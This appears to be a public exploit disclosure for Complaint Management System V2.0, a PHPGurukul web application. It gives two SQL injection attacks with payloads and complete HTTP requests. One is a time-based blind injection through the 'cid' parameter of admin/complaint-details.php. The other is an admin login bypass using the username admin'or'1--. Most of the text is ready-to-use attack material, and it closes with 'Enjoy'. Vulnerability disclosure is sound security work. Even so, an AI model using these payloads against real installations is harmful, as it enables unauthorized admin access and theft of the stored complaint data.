Complaint Management System 2.0 SQL Injection

# Exploit Title: Complaint-Management-System Multiple SQL Injection Vulnerabilities# Date: 02/09/2-24# Exploit Author: Diyar Saadi# Vendor Homepage: https://phpgurukul.com/complaint-management-sytem/# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7259# Version: V 2.0# Tested on: Windows 11 + XAMPP 8.0.301- SQL Injection## Description ##Multiple SQL injection vulnerabilities have been identified in the Complaint Management System V 2.0. These vulnerabilities allow an attacker to manipulate SQL queries through user-controlled input, potentially leading to unauthorized access or data disclosure , The vulnerable code is in the `complaint-details.php ` file within the `admin` directory. The `cid` parameter .# Proof Of Ceoncept ##--> During forward the payload the response time is expand at least 5 second .--> Payload: 1' AND SLEEP(5) --Request :httpGET /admin/complaint-details.php?cid=1%27%20AND%20SLEEP(5)%20-- HTTP/1.1Host: localhostCookie: PHPSESSID=h08ab7d2umqg507c1392g0opmpSec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iConnection: close# SQL Injection Vulnerability in User Authentications ### Proof Of Concept ##--> Attackers can bypass admin panel by forward the payload .--> Payload : admin'or'1-- from username field and any letter like pwn from password field then click sign in .--> Enjoy :xRequest :POST /admin/index.php HTTP/1.1Host: localhostCookie: PHPSESSID=h08ab7d2umqg507c1392g0opmpContent-Length: 46Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://localhost/admin/index.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iConnection: closeusername=admin%27or%271--&password=pwn&submit=Greetz!Sent with [Proton Mail](https://proton.me/) secure email.